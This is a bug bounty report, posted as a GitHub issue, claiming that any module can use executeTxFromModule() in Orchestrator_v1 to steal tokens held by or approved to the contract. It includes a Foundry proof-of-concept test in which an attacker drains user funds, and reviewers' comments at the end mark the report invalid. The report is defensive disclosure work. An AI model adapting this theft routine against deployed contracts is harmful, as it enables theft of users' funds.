Malicious module can steal all approved and held tokens by `Orchestrator_v1`

[hats-bug-reporter[bot]]

Github username: @0xfuje Twitter username: 0xfuje Submission hash (on-chain): 0x6fec93e0e4b59f2f36dd7d7a88f6e579434b8f8324acb3e84b946a38f3bd8a0a Severity: medium

Description:

Impact

Loss of funds if the user sent or approved tokens to Orchestrator_v1.

The contract typically does not hold funds, however the user can send or approve accidentally and the orchestrator proxy can be upgraded to an implementation that does hold funds. Considering these variables I think medium severity is appropriate

Description

All modules can execute calls from the Orchestrator_v1 contract via executeTxFromModule() of the inherited ModuleManagerBase_v1.

ModuleManagerBase_v1 - executeTxFromModule()

    function executeTxFromModule(
        address to,
        bytes memory data
    ) external virtual onlyModule returns (bool, bytes memory) {
        bool ok;
        bytes memory returnData;

        (ok, returnData) = to.call(data);

        return (ok, returnData);
    }

This means that any potentially held or approved token funds of the contract can be stolen via a module executeTxFromModule call with calling .approve() and .transferFrom() on the respective ERC20 or ERC721 token.

Proof of concept

1. navigate to FM_Rebasing_v1.t.sol (we only use this test contract because it has most of the needed variables initialized)
2. import ERC20 at the top of the contract: import {ERC20} from "@oz/token/ERC20/ERC20.sol";
3. copy and paste the below proof of concept

4. run forge test --match-test testStealUserTokens -vvvv

   function testStealUserTokens() public {
       address haxor = vm.addr(420);
       address userSentTokens = vm.addr(777);
       address userApprovedTokens = vm.addr(888);
   
       _token.mint(address(userSentTokens), 100_000);
       _token.mint(address(userApprovedTokens), 100_000);
   
       // user sends tokens to orchestrator
       vm.prank(userSentTokens);
       _token.transfer(address(_orchestrator), 100_000);
   
       // user approves tokens to orchestrator
       vm.prank(userApprovedTokens);
       _token.approve(address(_orchestrator), 100_000);
   
       // any random module works, for ease of use we make use of an existing one
       // 1. infinite approval of orchestrator using a module
       vm.prank(address(fundingManager));
       _orchestrator.executeTxFromModule(
           address(_token),
           abi.encodeWithSelector(
               ERC20.approve.selector, haxor, type(uint).max
           )
       );
   
       // 2. attacker can simply transfer out any funds now the orchestrator holds
       vm.prank(haxor);
       _token.transferFrom(address(_orchestrator), haxor, 100_000);
       assertEq(_token.balanceOf(haxor), 100_000);
   
       // 3. module can transfer out approved token to orchestrator or to attacker directly
       vm.prank(address(fundingManager));
       _orchestrator.executeTxFromModule(
           address(_token),
           abi.encodeWithSelector(
               ERC20.transferFrom.selector, userApprovedTokens, haxor, 100_000
           )
       );
   
       // 4. attacker has all user funds now
       assertEq(_token.balanceOf(haxor), 200_000);
   }

Recommendation

Consider to only allow arbitrary execution to specific whitelisted modules, not all the modules, restricting the executeTxFromModule() function. In the future consider to be quite careful about arbitrary executions (.call() with any bytes the msg.sender provides).

[PlamenTSV]

Similiar to #50, working on the assumptions: "IF a user sends tokens", "IF users grants approval accidentally"

[0xmahdirostami]

thank you @PlamenTSV , yes it's invalid